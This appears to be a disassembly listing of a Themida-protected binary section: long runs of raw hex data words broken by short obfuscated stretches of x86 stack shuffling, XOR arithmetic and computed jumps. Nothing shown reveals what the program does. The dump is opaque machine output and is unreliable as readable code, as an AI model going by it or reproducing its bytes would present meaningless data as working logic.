0EE106F5Fh, 94118CBFh, 55EC94A5h, 18D85A3Eh dd 0B2EB1C63h, 27F43E9Ah, 0E7467625h, 8C657755h, 0A77A917Eh dd 3EF4A9D8h, 1F2C5F61h, 0A86B8B49h, 0F43E9C65h, 0EAA1A33Ch dd 47F8DD2h, 4DA493F4h, 8D910C3Eh, 8DBDF012h, 4F3E4F1Eh dd 35BC5h, 8CD10000h, 346767A6h, 52497B04h, 6E29253Ah dd 8904015Eh, 0A2DFEE71h, 0FBB6D5AAh, 178EBCC3h, 306D98E7h dd 57464718h, 66681F27h, 5400001Dh, 8324048Fh db 4, 24h, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push 0ECDh mov [esp], ebp push 7B324C35h pop edx xor edx, 1B1E5EB7h dec edx add edx, 0A5EF8540h push esp mov ebp, [esp] add esp, 4 push 6297h mov [esp], edx pop dword ptr [ebp+8] mov ebp, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp mov edx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_585C7C ; --------------------------------------------------------------------------- align 10h loc_5F7FB0: ; CODE XREF: Themida_:loc_5F7312j mov eax, 61BA396h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 0DDh, 0F4h, 6Bh dd 4937874Eh, 0A5CBA538h, 0C8373F4Ch, 0FCBF290Eh, 0B29B8F71h dd 11EA6C59h, 0E2BF423Bh, 242FD08h, 0F72E3E35h, 0A1F6C53Ch dd 30A4CC65h, 0CE130E08h, 53D2713Eh, 0EEFF135Eh, 0D69E0C78h dd 6EF62B31h, 2C7CA673h, 92F89343h, 451B0916h, 0EC62D617h dd 0B9C673Fh, 0CF0E0006h, 569AA37Eh, 0ADA7E574h, 6DE32B5Dh dd 0F823F923h, 81F7734Ch, 99EB596Ah, 1151F55Fh, 29877F7Eh dd 0BE820h, 2D610000h, 5199ECAAh, 0CD5A8F0h, 0F58F5C5h dd 1289h, 0DE900h, 460A0000h, 0D5C0AFB9h, 0FDC3EC74h, 81AC6A75h dd 0DE3FC0h, 68F800h, 0E9000000h, 0Dh, 0F04E443Ah, 17454D8Fh dd 9B2993C6h, 81665FD9h, 8BCEFFEEh, 0BEB9381Ch, 8109C5D5h dd 250010F3h, 0E5BA512Ch, 5922995Bh, 167FF381h, 8B6674B4h dd 0C3C381F7h, 8925B995h, 0BF0F381Ch, 0BEEF81D6h, 57174504h dd 8ADE8166h, 0C781593Fh, 174504BAh, 30C68166h, 58FF812Bh dd 0FFFFF22h, 0FFFFB285h, 0CDB966FFh, 11E8ECh, 51360000h dd 580C3217h, 0C2BF5AD0h, 0F6110EACh, 0BBB887AAh, 5D6FCA64h dd 14E85Fh, 0DA310000h, 6B301D95h, 86D2403h, 25FAB58Ah dd 6D3ED502h, 0EA80788Ah, 0C7815AE1h, 7165h, 5BF6660h dd 12E9ABh, 7CCD0000h, 6CCF1AB1h, 0CADA6482h, 0FE480086h dd 526D3610h, 0B3F62B61h, 37048B42h, 81E9DA80h, 711465F0h dd 81DA8B56h, 0FD991F0h, 58FCBA4Dh, 0E8810CD0h, 389181CDh dd 0AE9h, 65F51F00h, 33D67D9Ch, 89AB0AD7h, 0F98A3704h dd 6820F57h, 81000000h, 0AE6CE3E9h, 0EE815A3Ch, 55F26ECDh dd 81A9D980h, 0F26EC9C6h, 0FEE6BB55h, 0FE81316Ah, 0FFFF8F5Ch dd 0FF9F850Fh, 890FFFFFh, 3, 0E960D780h, 0ECh, 0 dd 7C810637h, 7C81CE03h, 7C80C058h, 7C901005h, 7C9010EDh dd 76F20000h, 2, 5 dup(0) dd 7C80ADA0h, 2Ch dup(0) dd 6, 1611ED14h, 3211A2A3h, 0B11A6611h, 3215668Fh, 3214E44Bh dd 0B1ED6622h, 260597ACh, 3B60668Eh, 3C30DBC7h, 46156036h dd 0B9463608h, 3604DE48h, 0B79C6644h, 34017E3Bh, 9547FB9Ch dd 0E1EA609Eh, 8F963E1Fh, 34016807h, 62021211h, 3604DEDBh dd 0B79C6644h, 34017E3Bh, 9654FB9Ch, 0E1EA609Eh, 0B51A3E1Fh dd 32156636h, 321569F8h, 0D6298588h, 8AD897DAh, 61603A6Ch dd 428A9578h, 0F49C307Dh, 1611E712h, 27A871B6h, 25814B49h dd 524B7335h, 16A8E525h, 32137D84h, 3244E21Eh, 0B51A6688h dd 3215664Dh, 54AED242h, 241B8D90h, 9D90EBE9h, 52137D28h dd 0C37DC29Dh, 8BC7E63Dh, 0DBC599E9h, 3215664Fh, 0DF532083h dd 9DD20E02h, 0BFF50FC6h, 2979B9C1h, 321D8F24h, 0EAE46611h dd 0C711D6A6h, 0E2EA5078h, 0FA9F0642h, 53DCD91Eh, 0F4748E02h dd 261D2FC1h, 23FC3024h, 0CB156611h, 0B4F55896h, 8111A0BAh dd 0BCAFBAF1h, 8A3C3834h, 9AAD34E0h, 2C9C69D8h, 3D156622h dd 32157E9Dh, 32068F88h, 769D6644h, 0FFFE3A06h, 4813C48Bh dd 0EBDD5E51h, 9263D31Ah, 57A09984h, 5213723Dh, 0DBEDEDEEh dd 32156649h, 207890F8h, 68C915F7h, 33B5A12Bh, 0B798071Eh dd 34021EDCh, 0C5C3E671h, 3DC599E9h, 321570CCh, 32048F22h dd 0A336611h, 7770B287h, 0A1FB21FBh, 46BBA193h, 5264023Eh dd 54F1A608h, 5337B3FDh, 2C1CE3ABh, 3D756005h, 32156007h dd 0F8FDE744h, 0B237EB79h, 0F57425E2h, 263F9B0Dh, 32156642h dd 32108F22h, 1A3B6611h, 0F4D8B629h, 261D2FC1h, 54752324h dd 626A6EA8h, 534E07E8h, 407C0F2Ch, 32138FACh, 0A0736611h dd 0CB2EAAC8h, 3E38D3BBh, 20FC6036h, 0F156611h, 5B001F6Ch dd 1F66EBD9h, 51B0A5F6h, 3FAE6772h, 0B7989AA8h, 34015D0Ah dd 321560CBh, 0DBF18B11h, 0CDE8E370h, 0CB750694h, 32018F43h dd 0EED76611h, 3D3D7A93h, 65966B00h, 0ADBA92Eh, 55F1D5F6h dd 0BB746E06h, 260EEFC1h, 0B3730624h, 0CBCCFAF3h, 0B7D39AE9h dd 34016E0Dh, 6C7D9A61h, 3D89017Ah, 3215410Ch, 3CFD0644h dd 99156622h, 950172C2h, 2548454Eh, 9300070Ah, 3EFC3F99h dd 1156611h, 2415327Eh, 7B9ECCE6h, 536A3995h, 3E38D3EEh dd 3D75609Ch, 321563C4h, 0C4FEDF22h, 53E972D9h, 95BE305h dd 3AFC6050h, 9C156622h, 0CF0E0DF9h, 0CD8327D5h, 321B8F94h dd 131E6622h, 21331F96h, 0B2AE58F3h, 0A076F8C2h, 9419E3ABh dd 0B41A600Ah, 32156689h, 7B90A0B1h, 6613722Ah, 3212EC1Eh dd 0B01A6688h, 32156645h, 5A3C0EDAh, 3D758873h, 32156B09h dd 32128E44h, 0D8F56622h, 2F6D2529h, 0CB9E3E3Dh, 3A966925h dd 3D156622h, 3215649Bh, 0CD740688h, 26194BF1h, 3A976924h dd 3D156611h, 3215640Dh, 0BF740644h, 262E28A7h, 3F9A6917h dd 0DB156688h, 3215664Ch, 0D9CF81FBh, 85E0E7E2h, 34FCB677h dd 0E0156644h, 0A866C2DAh, 2290EF19h, 0CE137D2Eh, 3A5CE382h dd 3D506036h, 32156E94h, 30966988h, 52156644h, 0AD70E43h dd 0BD1ABC71h, 32156682h, 3D4A3024h, 321566A4h, 87EA0711h dd 34016AA5h, 3202ED4Bh, 0DA756622h, 3215661Ch, 57548C33h dd 194F3224h, 58FD6A6h, 6D423FB8h, 32018FE9h, 7E9E6644h dd 0D814C68h, 0DD65B69Fh, 779B7CFEh, 3E4E036Eh, 0B79829B1h dd 34015D5Fh, 0CAC59971h, 2690EFB8h, 52137D84h, 3210E21Eh dd 0BEAB6688h, 3D27C393h, 0B174BC9Dh, 2614ABACh, 0B71A668Eh dd 32156776h, 32156BCBh, 0E537DC11h, 3FA6584Bh, 8FF4C4Ch dd 0B7D380FCh, 34016E58h, 279069CDh, 0DB156644h, 32156632h dd 348CDD6Ch, 14FB96EFh, 7671324Eh, 2887B6E2h, 126BE079h dd 0CDE99A72h, 26194BF1h, 32188F24h, 11C46611h, 4418EF5Eh dd 0DEC665ACh, 0BFDF3232h, 262E2894h, 0BE1A068Eh, 32156644h dd 0CE749AA8h, 20FCB6EEh, 56156688h, 19B717CBh, 0DA87384Eh dd 0FEA5004Eh, 6FF70C83h, 2A90EFC4h, 52137D84h, 0FE54DE77h dd 53CFEDEEh, 3A5CE382h, 3D596036h, 32156790h, 0F17D9388h dd 0CAF54094h, 321A8E42h, 54106611h, 2F959EB6h, 77F7A449h dd 9129D654h, 89C5E790h, 682037E9h, 3213EC4Bh, 0B41A6622h dd 32156611h, 1FA099E9h, 0DB137248h, 3215662Bh, 0C0EB7C97h dd 6D6FD26Bh, 7C90EB5Ch, 3D137219h, 32156790h, 0E2EA9F88h dd 2E90EFB1h, 52137D84h, 405F67AFh, 3F9469B9h, 0DB156644h dd 3215662Ah, 3A9B01F5h, 8235D49Dh, 33148F25h, 0DB756622h dd 3215661Fh, 0BAD8278Ah, 0AAC79779h, 6A0BED63h, 0B71A2AB3h dd 3215668Dh, 1BF180FFh, 0B7D30772h, 34016E58h, 0DBE006DAh dd 3215664Dh, 0C292546Ah, 2119BDDFh, 3F7D07B1h, 0CEA92CA0h dd 32BCD3DDh, 8A756005h, 1627DC07h, 0BF74B6CFh, 262E28A7h dd 321A8F17h, 4D8B6688h, 0A0AEC605h, 0BBBD4A1h, 0A242B1C7h dd 38996910h, 52156644h, 3215EB2Dh, 0EFA76611h, 52C599E9h dd 26FC34BDh, 0A7156622h, 58D85DD1h, 0D1CA4B9Ch, 0B350D917h dd 663E6C75h, 6DA09876h, 2A90EFE9h, 3D137DE2h, 321567A6h dd 0B7D39E11h, 34016EC1h, 7A7D9E16h, 3DB32A68h, 32156198h dd 339F6988h, 0CE156644h, 32BCD3DDh, 0B41A6005h, 32156691h dd 0F19E0024h, 321568CAh, 4818A311h, 0E9EE916h, 9643C308h dd 6B011023h, 7C90EB70h, 521372B3h, 897397CFh, 0CD7457F9h dd 0B79C93C1h, 340EC094h, 3214E04Bh, 0F4EC6622h, 261D2F94h dd 0B975348Eh, 309E69B6h, 52156622h, 0D87D0770h, 3DE8243Ch dd 321571CCh, 32078F22h, 5A636611h, 99EAAB8h, 270419AAh dd 43EE40F3h, 2766267h, 3E38D377h, 37FC6050h, 0D7156622h dd 0A17606Bh, 95BE305h, 0CDED6050h, 0B79C93F2h, 34014304h dd 321E8FE8h, 74586644h, 541EAED8h, 5E29CD85h, 0CC9E00D1h dd 3A9F6925h, 52156622h, 54CFD11Eh, 0F4749E03h, 261D2FC1h dd 5AEC1124h, 0C182CEB2h, 34FC0674h, 0C156644h, 9AFBFCA3h dd 0FCAA69A2h, 57A099E9h, 0CE13726Dh, 95BE3AFh, 34FC6005h dd 0C6156688h, 3CC3686Fh, 52C599B9h, 36CDE777h, 379E6965h dd 89156644h, 7E8A7CA6h, 4790EF70h, 52137299h, 321568ADh dd 460CFD22h, 0A70E6561h, 2ED2197Ch, 0CE656950h, 7B90A043h dd 60137219h, 0FAC4E7E8h, 3D3B3DA1h, 5A749E9Dh, 0B8C85706h dd 3214E887h, 0CEE96644h, 3E38D3DDh, 0B9756005h, 32138F50h dd 41716644h, 0DCEC9F8h, 7C90EB70h, 521372B3h, 32198F17h dd 589F6622h, 0A252475Ah, 33ED9320h, 0B34FE606h, 0CCDACAC3h dd 0CDE00775h, 0B79C9E58h, 340178B1h, 32156ACBh, 45491611h dd 4B99D138h, 6141469h, 7B90A063h, 64137219h, 321B8EE8h dd 0BF696644h, 0BA0F46DEh, 7A104A21h, 997E3EC5h, 0B3733DB1h dd 53B356D2h, 2D785F79h, 2294695Ch, 0DB156644h, 32156629h dd 52EE6140h, 0DBC5FB02h, 0CD21F058h, 26390397h, 0B7989E17h dd 34021E76h, 0C19E0024h, 0E2EA07DEh, 32068F71h, 0B5AB6688h dd 2C4A3688h, 0BA767AE6h, 0C7CB272h, 7059C511h, 0F39E0059h dd 1390EF43h, 0CA13721Dh, 3A5CE34Eh, 52526050h, 8AE5E744h dd 0C89E00EDh, 226F0EE9h, 3BFCE798h, 4D156622h, 0E857C576h dd 7EAF4CF0h, 3E38D3BBh, 0BFE06036h, 262E2894h, 3A96698Eh dd 3D156644h, 321564AEh, 0CD740611h, 32138F58h, 639D6644h dd 0ABC458D3h, 0E390EFEDh, 3D1372ABh, 321568C0h, 0B41A0622h dd 32156611h dd 9C388509h, 0F4747BBDh, 261D2FA7h, 3DEC2117h, 32157F0Ah dd 32018F44h, 66656622h, 9C3F42FBh, 0E0BA169h, 392320D5h dd 0BF99CDE6h, 0D07D7B1Dh, 3D9F693Dh, 321560CEh, 3EA50622h dd 0DB743941h, 32156680h, 0D84B928Ah, 50CEF234h, 3E38D3EEh dd 0B01A609Ch, 32156650h, 321569CBh, 0A9198511h, 0BFEAC51Ah dd 36072D09h, 330750EDh, 95BE39Ch, 0CE75609Ch, 3DC59925h dd 321567ACh, 0B79C9F11h, 340EC0B4h, 33926924h, 0CB156622h dd 8F90A170h, 4A1372A7h, 3D156644h, 321567AAh, 0B1E09E11h dd 261AEF35h, 0B61A6642h, 32157E83h, 32156CF8h, 61C54188h dd 0ADDEDF5Eh, 0C75AE2BAh, 3A5CE3D7h, 0CA59609Ch, 0E8098F2Ch dd 87EA9EFBh, 34016A3Ch, 3219E987h, 35FC6644h, 90156622h dd 371891Fh, 0B7981F89h, 34015D0Ah, 3212E22Dh, 0B71A6611h dd 32156689h, 0CBC599B8h, 943DE3ABh, 0B21A600Ah, 32156689h dd 7B90A0B1h, 7E13722Ah, 0B41A9371h, 3215668Ah, 5A740724h dd 0EF61B8ECh, 32AD0071h, 321B8E99h, 2DC16644h, 217CD5F8h dd 6A237375h, 4718A8C2h, 6AC7D94Bh, 1FA09943h, 0DB13721Dh dd 3215668Fh, 2AA2BA7Ah, 0BFE6CCD8h, 262E2894h, 22FC068Eh dd 53156644h, 0E2ED082Ah, 18043CABh, 868C0F01h, 3D0D082Ch dd 321564A5h, 53CBED11h, 37FCB677h, 0FA156644h, 733A11D3h dd 9439E398h, 3FFC6093h, 1B156644h, 9A6800E0h, 0B06BEE69h dd 0F5943346h, 3A5CE382h, 52596036h, 3DD4ED77h, 3215670Bh dd 5A749344h, 8594E41Dh, 32156FF8h, 775EC888h, 0B2C3DEC1h dd 87EAE169h, 34016A3Ch, 32138F71h, 5AD86644h, 62A96893h dd 95BE39Ch, 0B71A609Ch, 32156640h, 53EC9F42h, 0DBECB6EEh dd 3215669Bh, 8945EEFEh, 4B5F9340h, 50F40592h, 9208231Bh dd 0BBD5A8C3h, 29B356A7h, 0B7D39F17h, 34016EC1h, 339E6908h dd 0CA156622h, 720D0EE8h, 8A75D5A7h, 9B49AD3h, 0CD744E97h dd 26194BA4h, 0B7989A8Eh, 34015D0Ah, 0DBC599DAh, 3215661Bh dd 4D93F57Dh, 1CA0E0FDh, 0B79C6CE9h, 340EC021h, 32156D61h dd 8F02B444h, 9C16F36Ah, 6A123C9h, 32156861h, 56598B44h dd 7BFACFDEh, 0F6475592h, 0F455F058h, 261D2FC1h, 20FC2024h dd 6A156611h, 0BE5B8E93h, 0F1D9EE62h, 0FDDDF83Fh, 0EEFA10BBh dd 34010E7Eh, 5275DC9Ah, 0BD1AD291h, 32156611h, 32138FE9h dd 2E2E6644h, 176F9C6Ah, 87EA9F70h, 34016AA5h, 7C90EBB8h dd 0C7137219h, 3D75B6EEh, 32156902h, 321F8F44h, 1EAC6622h dd 7D5C754Dh, 7C251C7Fh, 55AB96FBh, 0B79C076Dh, 340EC029h dd 0EDA30671h, 53CCD94Bh, 3A5CE3E4h, 3D526005h, 32156A0Bh dd 34946944h, 3D156622h, 32156697h, 487D9A88h, 5294BA54h dd 2CDAE744h, 0B373356Fh, 68C49951h, 1FA09925h, 5213722Eh dd 0D2AEB090h, 53ED7C2Ah, 95BE3C9h, 0B3756036h, 61F56CF0h dd 309E6997h, 64156644h, 0BD1A077Bh, 32156616h, 3214EA87h dd 0CDE96644h, 0B61A06F2h, 32156611h, 53DB8708h, 9455E3CDh dd 39FC6039h, 46156611h, 6C49EF7Fh, 5955E106h, 0B7D367D1h dd 34016E58h, 32058FCFh, 7FDF6644h, 999EBAF0h, 7A6BE894h dd 0E85A9014h, 9E7DC407h, 3DFAE1ACh, 32157F95h, 53750688h dd 321576ADh, 18921A22h, 8DE29C3Eh, 0A3D82691h, 1AA0D621h dd 87EA070Ch, 34016A3Ch, 0E29400E8h, 0DB43DC76h, 32156629h dd 0C8315C49h, 0B1EA1F96h, 6A11CE8Dh, 7C90EB43h, 3D13722Ah dd 3215670Ch, 0E2EA9344h, 3AFC9342h, 7B156611h, 0E5F1017h dd 533E7759h, 9451E3ABh, 0B375600Ah, 0FC94E56Fh, 0EB9E0002h dd 7B90A043h, 75137219h, 95C70E7Dh, 26FCB2DEh, 156622h dd 0F15DADA5h, 497AE431h, 3228B75Eh, 0F1A2EBBBh, 0CD906BCFh dd 26194B3Dh, 33966942h, 0CA156622h, 7C90EBEDh, 3D1372B3h dd 321561CAh, 33986922h, 0CB156611h, 0CA75B677h, 0B79C07B1h dd 340EC06Ah, 53D3ED71h, 3A5CE34Eh, 0DB526050h, 3215662Ch dd 0A67AB34Ch, 0D47407AAh, 1907B604h, 367D8A1Eh, 0DBAFA728h dd 3215668Eh, 0D6EF0C97h, 87EAAB6Eh, 34016A3Ch, 32068F70h dd 1B806644h, 280C2FC7h, 70F86936h, 5883D3Ch, 0F146BC6h dd 7C90EBD2h, 0DB13722Ah, 32156681h, 0CDFF3757h, 54DCEFE8h dd 52C5995Bh, 4C593731h, 0B79C0758h, 340EC06Eh, 321563F8h dd 0FC53BF88h, 8F963915h, 3401647Bh, 4E906911h, 0C7156688h dd 3A5CE382h, 0DB526036h, 32156618h, 0F85B98B6h, 0B9E16776h dd 1F720E81h, 34FC8663h, 0FB156688h, 8EE0E24Ah, 0B37306C3h dd 539E85CAh, 3E38D377h, 54756050h, 36DC8DA3h, 0F4EDDD71h dd 0CA9E3B24h, 0B7980725h, 34015D6Ch, 32198F71h, 64266688h dd 0EBDE55CEh, 8E4E53EDh, 0DA47337Eh, 3215668Fh, 68807F1Eh dd 6CC32220h, 0E2EA074Eh, 0B79C9F7Dh, 340EC014h, 3214EF2Dh dd 0F4EC6611h, 261D2F0Dh, 5AE02142h, 0BC3CD593h, 6568DC71h dd 3AFC4482h, 17156644h, 0E4C48323h, 53E860EEh, 1FA09974h dd 0DB137248h, 32156628h, 9BDB0877h, 0BC4CDC91h, 38FC148Eh dd 3F156622h, 0B99AF86Bh, 64B02AB4h, 7C90EBE0h, 0CA137219h dd 32048F71h, 0A22F6688h, 0C1B56F21h, 0A08FFB06h, 875A317Dh dd 87E2D0A5h, 0E2EA0780h, 6BAD0042h, 32138F61h, 2B4A6688h dd 0FC3905E4h, 6690EF43h, 0DB137DB7h, 32156687h, 8E90E767h dd 0E2F0A0B3h, 6AD45290h, 0F4ADB7E7h, 261D2FC1h, 23FC2524h dd 0D8156611h, 0C0CA9024h, 47A497DEh, 0D8FE75B4h, 8AD33C00h dd 3212E987h, 0B61A6644h, 32156623h, 78B20EE8h, 23FCA6FEh dd 0F8156644h, 0CAE1A6AAh, 0BFE82D77h, 6E21905Bh, 974EFA5Fh dd 32156ECBh, 13230A11h, 8DF0C9CCh, 1FA099E3h, 5213722Eh dd 0ED02DD77h, 533B8708h, 95BE3C9h, 0B3756036h, 10D62BD9h dd 0E2EA07E1h, 321572ADh, 87D68222h, 0C4681AA8h, 2053D326h dd 8AF78175h, 598F8ADFh, 6A90EFFCh, 0C7137D2Eh, 3A5CE382h dd 0DB596036h, 3215661Ah, 9E01EDAFh, 8E4B88BCh, 5A638822h dd 0C9730AFAh, 379069E8h, 54156644h, 0B1DC95A3h, 0D978D977h dd 57A099E9h, 5213726Dh, 32156FCAh, 0B6CD1111h, 0C4B0687h dd 22FCAA64h, 0A1156622h, 50AF2E4Dh, 0E63EEC76h, 0C30BA4F5h dd 68C0E16Fh, 53AC8D91h, 95BE305h, 0DB756050h, 32156636h dd 0ECFDED3Ah, 4D6444CCh, 614B29FEh, 0E79995AAh, 5747DC89h dd 53D5D187h, 8275B6BBh, 319B69DCh, 54156611h, 0BB749503h dd 29B38AC1h, 27936924h, 0DB156611h, 32156698h, 5BF718ACh dd 0DE09998Eh, 0C0AA2C1Ah, 95DB2232h, 3A5CE382h, 0CB516036h dd 419B3379h, 87EA9F33h, 34016A69h, 32078F42h, 4D96611h dd 0F1B5DFC9h, 67DF65D5h, 0E6E58BC7h, 89C5B9B5h, 32157260h dd 4002F744h, 36A133B1h, 0BB8640E8h, 0D09B47A8h, 1C2859DDh dd 32078FA1h, 9CAD6611h, 79FDE88Fh, 912CB36Bh, 9284680Eh dd 0D5A9F57Ah, 0B79807D2h, 34015D0Ah, 3212E92Dh, 0B31A6611h dd 32156689h, 0CAC599B8h, 9449E3ABh, 0F4E0600Ah, 261D2F0Dh dd 5AEC2542h, 8E9B08DEh, 1FA099E4h, 0DB137284h, 32156650h dd 429DBCD0h, 4EE49926h, 590015FDh, 0D4974072h, 58C56EC1h dd 95BE39Ch, 0DB75609Ch, 3215664Eh, 1A31864Eh, 49B289D6h dd 0B01A729Ah, 32156646h, 0CD74C194h, 0B79C93C1h, 340EC0E8h dd 7B90A0BDh, 6113722Ah, 0CBF0EEDh, 38FCA098h, 29156644h dd 0EB9C5C65h, 3642CD7Ch dd 1FA099FAh, 52137248h, 321575CBh, 791B6011h, 0FE42256Dh dd 0ADC7C4h, 0A35F7B35h, 9BCFFBF5h, 8C9CDEEEh, 7C90EB25h dd 3D137219h, 3215719Dh, 32078F88h, 9F0A6644h, 1589C118h dd 7ADBF980h, 48C697C4h, 700AAAA0h, 0B375B6DDh, 9A6265C0h dd 3DFC06D2h, 1C156644h, 9CF45160h, 6050207Fh, 0A3275C5Eh dd 53E9F338h, 5690EF43h, 0DB137DB7h, 3215669Bh, 0C8A105ECh dd 2428512Ch, 65BC32D4h, 1E4C6E6Ah, 0B1D20038h, 2603779Fh dd 0B61A6617h, 321565ABh, 7B90A0BDh, 7413722Ah, 0FC240EEDh dd 0B3759C1Eh, 0DC021BA3h, 30996951h, 87156611h, 5475070Fh dd 38D7A5C5h, 0CD74A5A8h, 26194BA4h, 0B798938Eh, 34015D0Ah dd 0B51A06DEh, 32156611h, 441CAE09h, 0CD740ED8h, 0B79C9FF2h dd 340EC0D1h, 3214E187h, 52ED6644h, 4E08A1A3h, 0EC947570h dd 11543661h, 7B90A025h, 7413722Ah, 0B3733571h, 69630067h dd 0F7EAF3FEh, 0B21A0725h, 3215660Bh, 32068FE8h, 0C2F16644h dd 0E22F3A67h, 0C4E4FF5Dh, 45D9DAC2h, 594C37E4h, 0E47D07B8h dd 0C7E9C12Bh, 3E38D377h, 0BE1A6050h, 3215662Ah, 329D6971h dd 53156688h, 0DBDEED24h, 32156624h, 99FE34A9h, 0BF743D2Dh dd 262E28C1h, 27956924h, 0DB156611h, 32156698h, 0AFEAF00h dd 353F49B8h, 0FF78F55Bh, 8E7DC4D4h, 3DFCB6BBh, 91156622h dd 9B1F8B16h, 0E6C43575h, 6A4CEAD3h, 0B79C3FF5h, 340EC0C1h dd 3204EE87h, 3EFC6644h, 15156622h, 0CAA14F73h, 0E1AC342Eh dd 0F4153B26h, 261D2FA7h, 54752017h, 5ECAB509h, 96150E25h dd 0B71AF4DEh, 3215661Fh, 32156F61h, 3FA2744h, 0E5B96798h dd 87EA854Ch, 34016AA5h, 0CBE3D124h, 7C90EB43h, 5213722Ah dd 531ED770h, 39FCB6BBh, 89156622h, 21671E9h, 32D82FD9h dd 0B79C61CDh, 340EC0F6h, 0B01A3071h, 32156688h, 0B7D3071Dh dd 34016E6Bh, 8D1A0657h, 0B3733478h, 6CBB73B6h, 7D7F0E43h dd 0B11A90C5h, 32156685h, 32156EADh, 48297F22h, 0CF5DF306h dd 1FA09974h, 0DB137248h, 3215662Dh, 79798014h, 8046EE3Bh dd 0A180BE1Ah, 0BFFF6304h, 262E2894h, 32068F8Eh, 9E926644h dd 0BC5B1C7Fh, 0D857F560h, 87DD528Ah, 290F83F4h, 0CEC59980h dd 94CDE398h, 0DB756093h, 3215664Fh, 0C92DD5h, 81C5A102h dd 3D0B2AF7h, 0F474BEF3h, 261D2FA7h, 3D752017h, 3215670Eh dd 87479F44h, 5A743E5Ah, 0A6D836F6h, 1FA09970h, 0CA137248h dd 95BE3AFh, 3D756005h, 0DA439F3Fh, 3215664Dh, 3D91BE55h dd 122B3871h, 534D3F44h, 0B2D4ED24h, 0CD74BDF0h, 0B79C9AC1h dd 340EC04Ch, 32156AADh, 0BE9BA522h, 73F1A3F7h, 9B87FFD7h dd 7B90A091h, 7413722Ah, 462E0EE9h, 0CDE0D7AAh, 26194BF1h dd 0B7989324h, 34015D5Fh, 52C59974h, 4B23F1FAh, 97AC006Eh dd 0B79C07B7h, 340EC040h, 0B7D39AB8h, 34016E6Bh, 3DFC9E57h dd 0FD156688h, 0C35BC148h, 7DD9D23Fh, 0E291ADC1h, 0DF7D4E5Eh dd 3DCA1FAEh, 32157CAEh, 0DAE00611h, 32156699h, 0BA37C324h dd 43136D0Ah, 7AD8E78Ah, 0BC7EEB0Dh, 0CD743F00h, 26194B97h dd 0B01A9E17h, 32156684h, 3213E54Bh, 0BC1A6622h, 32156611h dd 95BE305h, 0CDEC6050h, 3FFC06F2h, 22156611h, 9213EE98h dd 44A5E92h, 884257C0h, 32156EF9h, 4FED9788h, 701294DEh dd 534F9F74h, 32156AF8h, 0E88CF188h, 5BC039A9h, 0C053F37Fh dd 0FE90EF0Ah, 52137D2Eh, 0B1749ABCh, 26173F9Fh, 0B71A6617h dd 321566D5h, 7B90A0B8h, 6113722Ah, 0D24B0EEDh, 0CDECA836h dd 26194BF1h, 339E6924h, 0C7156611h, 7C90EB70h, 5213727Fh dd 0C829DD44h, 0DBC59970h, 3215669Bh, 74EEBB58h, 95ABB2Ah dd 0E10BB203h, 6630DA91h, 5229EC0Dh, 3217E32Dh, 0ED9E6611h dd 64F5E7EEh, 0B79C07AFh, 340EC04Ah, 0E39E0071h, 7B90A0E9h dd 7513724Ch, 339E69DBh, 0C7156611h, 834BE1E0h, 0DB440683h dd 32156624h, 90431DBAh, 0DA4EF5E2h, 32156656h, 0F281E34Bh dd 0E46F7391h, 4864515Ah, 876F8CAEh, 0E495DDC8h, 0CD743C1Fh dd 26194B3Dh, 32018F42h, 8C286622h, 90AFEE45h, 9B3E56Eh dd 496E587Fh, 994BF1A4h, 0B7985F7Fh, 34015DC6h, 0F9AF0024h dd 32138F5Fh, 0EFAE6611h, 63DCDB8h, 3A976925h, 3D156622h dd 3215649Ch, 0CD740688h, 0B79C9394h, 340EC04Eh, 6BA8E5E8h dd 3213728Ah, 32BAE34Bh, 0B51A6622h, 32156619h, 54B7D3E8h dd 53AD73FCh, 321572CBh, 0EBA84811h, 37642E31h, 0CA2A88BFh dd 36A6E1A9h, 5CDD01DFh, 7B90A030h, 7513724Ch, 3212EC2Dh dd 54756611h, 0B78C8109h, 3BFC0625h, 0A4156622h, 24D8C9CDh dd 0AC223FDDh, 321574ADh, 616EF022h, 25946386h, 0E8075FEAh dd 30C8CB6Ch, 53C9067Fh, 506B6379h, 32128F6Eh, 68996644h dd 3E2F9651h, 1FA09931h, 0DB137284h, 32156641h, 0EEC4ED30h dd 7C90EBA1h, 521372B3h, 0FCDB30FBh, 32058F74h, 2B626611h dd 53B1D080h, 0DFA15A57h, 1669ECABh, 0CD74E785h, 0B79C9E58h dd 340EC034h, 7B90A0D7h, 71137219h, 3200E487h, 22FC6644h dd 2B156622h, 0E37B3535h, 592F7FA1h, 56E28F09h, 5A88A0DBh dd 0A06F6FE7h, 32156161h, 0FBE4A444h, 0D94CB75Ch, 3E38D3EEh dd 3EFC609Ch, 0C1156644h, 581374EFh, 82A1078Eh, 0BF507FE2h dd 262E28C1h, 32108F24h, 0BA316611h, 0CDA3A7E2h, 22936994h dd 0DB156622h, 3215661Ah, 4B711178h, 0A8EA5CD1h, 0BB13325Eh dd 29B31294h, 219B698Eh, 0DB156644h, 3215662Ch, 4F00B3F2h dd 3ED018DDh, 0C459B111h, 0B7D3A89Dh, 34016E58h, 3E9869CBh dd 3D156644h, 321560A3h, 32916911h, 5A156688h, 0CE34F164h dd 3205E42Dh, 39FC6611h, 9B156688h, 7F9D85h, 1BC1C5C3h dd 87EAC397h, 34016AA5h, 321DE04Bh, 0B71A6622h, 32156613h dd 0B79807E8h, 34015D0Ah, 32058F42h, 8AC6611h, 0D75C5F03h dd 0C78D80EDh, 2802AF4Ah, 22FC94E4h, 8C156688h, 42D9C12Eh dd 7C62BC09h, 77F89E10h, 53B9167Fh, 23FCB6BBh, 19156622h dd 0F98AD277h, 0D685759Dh, 0A0419E26h, 21B3CD74h, 946DE398h dd 0B1E06093h, 26173FF9h, 0B71A6624h, 3215672Fh, 0DAEEEDE8h dd 3215664Bh, 0FF39234h, 5A98569Eh, 59A243F9h, 52E32E4Ch dd 52743C43h, 6AC1DCEDh, 0F4744D6Fh, 261D2FC1h, 3D752524h dd 32156590h, 0CC9E0088h, 0E1D2E722h, 317D0766h, 529E66B9h dd 0AA97B109h, 0CD744954h, 26194B97h, 0C0940617h, 53BB9E1Eh dd 3215E74Bh, 0BF746622h, 262E2894h, 0E2EA9E8Eh, 3208EF4Bh dd 54756622h, 0DBEC7BAEh, 3215669Ah, 